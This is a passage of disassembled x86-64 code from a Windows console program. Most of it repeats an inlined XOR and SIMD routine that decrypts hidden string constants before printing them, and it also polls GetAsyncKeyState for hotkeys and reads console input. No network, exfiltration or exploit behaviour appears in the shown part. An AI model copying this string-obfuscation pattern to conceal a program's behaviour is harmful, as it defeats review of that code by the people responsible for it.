call fcn.140003990
test bl, bl
jne 0x140047541
movups xmm0, xmmword [str.c_V__S]
movups xmmword [rbp + 0x1008], xmm0
movups xmm1, xmmword [0x140201050]
movups xmmword [rbp + 0x1018], xmm1
movzx eax, byte [0x140201060]
mov byte [rbp + 0x1028], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400474d7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x100c]
mov edx, dword [rbp + 0xb80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400473d0
cmp r8d, 0x21
jge 0x14004751f
movsxd rax, r8d
lea r9, [rbp + 0x1008]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400474f0
lea rdx, [rbp + 0x1008]
lea rcx, [rbp + 0x7d0]
call fcn.140007470
mov rdx, rax
lea rcx, [0x14060b6d0]
call fcn.1400aebd0
mov rcx, rsi
call fcn.1400b7470
call fcn.1400377d0
mov eax, dword [0x140201070]
mov dword [rbp + 0xc60], eax
movzx eax, word [0x140201074]
mov word [rbp + 0xc64], ax
movzx eax, byte [0x140201076]
movsd xmm0, qword [0x140201068]
mov byte [rbp + 0xc66], al
movsd qword [rbp + 0xc58], xmm0
mov r8d, r15d
mov edi, 1
cmp r12d, 2
jl 0x1400476a8
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201068]
pxor xmm2, xmm1
movd dword [rbp + 0xc58], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc5c]
pxor xmm2, xmm1
movd dword [rbp + 0xc5c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xc58]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400476c0
lea rdx, [rbp + 0xc58]
lea rcx, [rbp + 0x770]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x158], 0xff
mov dword [rbp + 0x160], 0xff
mov qword [rbp + 0x230], 0
mov dword [rbp + 0x238], 0xff
movsd xmm0, qword [0x140201078]
movsd qword [rbp + 0xd38], xmm0
mov eax, dword [0x140201080]
mov dword [rbp + 0xd40], eax
movzx eax, word [0x140201084]
mov word [rbp + 0xd44], ax
cmp byte [0x140201085], 0
je 0x1400478cf
mov r8d, r15d
cmp r12d, 2
jl 0x140047890
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201078]
pxor xmm2, xmm1
movd dword [rbp + 0xd38], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd3c]
pxor xmm2, xmm1
movd dword [rbp + 0xd3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd38]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400478a0
lea rdx, [rbp + 0xd38]
lea rcx, [rbp + 0x19a8]
call fcn.140007470
nop
lea r9, [rbp + 0x158]
lea r8, [rbp + 0x230]
mov rdx, rax
lea rcx, [rbp + 0x18e8]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x18e8]
call fcn.140003990
nop
lea rcx, [rbp + 0x19a8]
call fcn.140003990
movsd xmm0, qword [0x140201088]
movsd qword [rbp + 0xcd8], xmm0
mov eax, dword [0x140201090]
mov dword [rbp + 0xce0], eax
movzx eax, word [0x140201094]
mov word [rbp + 0xce4], ax
movzx eax, byte [0x140201096]
mov byte [rbp + 0xce6], al
mov r8d, r15d
cmp r12d, 2
jl 0x140047a8b
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201088]
pxor xmm2, xmm1
movd dword [rbp + 0xcd8], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcdc]
pxor xmm2, xmm1
movd dword [rbp + 0xcdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xcd8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140047aa0
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0x810]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x170], 0xff
mov dword [rbp + 0x178], 0xff
mov qword [rbp + 0x17c], 0
mov dword [rbp + 0x184], 0xff
movups xmm0, xmmword [0x140201098]
movups xmmword [rbp + 0x1230], xmm0
movzx eax, byte [0x1402010a8]
mov byte [rbp + 0x1240], al
mov r8d, r15d
cmp r12d, 2
jl 0x140047c88
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x1234]
mov edx, dword [rbp + 0xb80]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140047b81
cmp r8d, 0x11
jge 0x140047ccf
movsxd rax, r8d
lea r9, [rbp + 0x1230]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140047ca0
lea rdx, [rbp + 0x1230]
lea rcx, [rbp + 0x19e8]
call fcn.140007470
nop
lea r9, [rbp + 0x170]
lea r8, [rbp + 0x17c]
mov rdx, rax
lea rcx, [rbp + 0x19c8]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x19c8]
call fcn.140003990
nop
lea rcx, [rbp + 0x19e8]
call fcn.140003990
movsd xmm0, qword [0x1402010b0]
movsd qword [rbp + 0xce8], xmm0
mov eax, dword [0x1402010b8]
mov dword [rbp + 0xcf0], eax
movzx eax, word [0x1402010bc]
mov word [rbp + 0xcf4], ax
movzx eax, byte [0x1402010be]
mov byte [rbp + 0xcf6], al
mov r8d, r15d
cmp r12d, 2
jl 0x140047e8b
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1402010b0]
pxor xmm2, xmm1
movd dword [rbp + 0xce8], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcec]
pxor xmm2, xmm1
movd dword [rbp + 0xcec], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xce8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140047ea0
lea rdx, [rbp + 0xce8]
lea rcx, [rbp + 0x830]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x188], 0xff
mov dword [rbp + 0x190], 0xff
mov qword [rbp + 0x194], 0
mov dword [rbp + 0x19c], 0xff
movups xmm0, xmmword [0x1402010c0]
movups xmmword [rbp + 0x1328], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400480cf
cmp r12d, 2
jl 0x140048091
movdqa xmm5, xmmword [0x140201780]
mov edx, r15d
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x132c]
mov r8d, dword [rbp + 0xb80]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140047f90
jmp 0x1400480cf
lea r9, [rbp + 0x1328]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400480a0
lea rdx, [rbp + 0x1328]
lea rcx, [rbp + 0x1a28]
call fcn.140007470
nop
lea r9, [rbp + 0x188]
lea r8, [rbp + 0x194]
mov rdx, rax
lea rcx, [rbp + 0x1a08]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1a08]
call fcn.140003990
nop
lea rcx, [rbp + 0x1a28]
call fcn.140003990
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rbx, 0x55b62dfbd515a3
test rbx, rcx
jne 0x140048198
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test rbx, rcx
jne 0x140049365
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test rbx, rcx
jne 0x140048bb5
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test rbx, rcx
je 0x140048154
call fcn.1400377d0
movups xmm0, xmmword [0x1402010d0]
movups xmmword [rbp + 0x11d8], xmm0
mov eax, dword [0x1402010e0]
mov dword [rbp + 0x11e8], eax
movzx eax, word [0x1402010e4]
mov word [rbp + 0x11ec], ax
movzx eax, byte [0x1402010e6]
mov byte [rbp + 0x11ee], al
mov r8d, r15d
cmp r12d, 2
jl 0x140048327
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x11dc]
mov edx, dword [rbp + 0xb80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140048220
cmp r8d, 0x17
jge 0x14004836f
movsxd rax, r8d
lea r9, [rbp + 0x11d8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140048340
lea rdx, [rbp + 0x11d8]
lea rcx, [rbp + 0x870]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x134], 0xff
mov dword [rbp + 0x13c], 0xff
mov qword [rbp + 0x128], 0
mov dword [rbp + 0x130], 0xff
movsd xmm0, qword [0x1402010e8]
movsd qword [rbp + 0xd28], xmm0
mov eax, dword [0x1402010f0]
mov dword [rbp + 0xd30], eax
cmp byte [0x1402010f3], 0
je 0x14004853f
mov r8d, r15d
cmp r12d, 2
jl 0x140048502
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1402010e8]
pxor xmm2, xmm1
movd dword [rbp + 0xd28], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd2c]
pxor xmm2, xmm1
movd dword [rbp + 0xd2c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd28]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140048510
lea rdx, [rbp + 0xd28]
lea rcx, [rbp + 0x1808]
call fcn.140007470
nop
lea r9, [rbp + 0x134]
lea r8, [rbp + 0x128]
mov rdx, rax
lea rcx, [rbp + 0x1be8]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
nop
lea rcx, [rbp + 0x1be8]
call fcn.140003990
nop
lea rcx, [rbp + 0x1808]
call fcn.140003990
lea rdx, [0x140466218]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x1402010f4]
mov word [rsp + 0x54], ax
lea rdx, [rsp + 0x54]
cmp byte [0x1402010f5], 0
je 0x1400485d4
mov byte [rsp + 0x54], 0xa
xor byte [rsp + 0x55], 0x31
call fcn.140003780
mov eax, dword [0x140201108]
mov dword [rbp + 0xdd0], eax
movzx eax, word [0x14020110c]
mov word [rbp + 0xdd4], ax
movzx eax, byte [0x14020110e]
movups xmm0, xmmword [0x1402010f8]
mov byte [rbp + 0xdd6], al
movups xmmword [rbp + 0xdc0], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140048767
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0xdc4]
mov edx, dword [rbp + 0xb80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
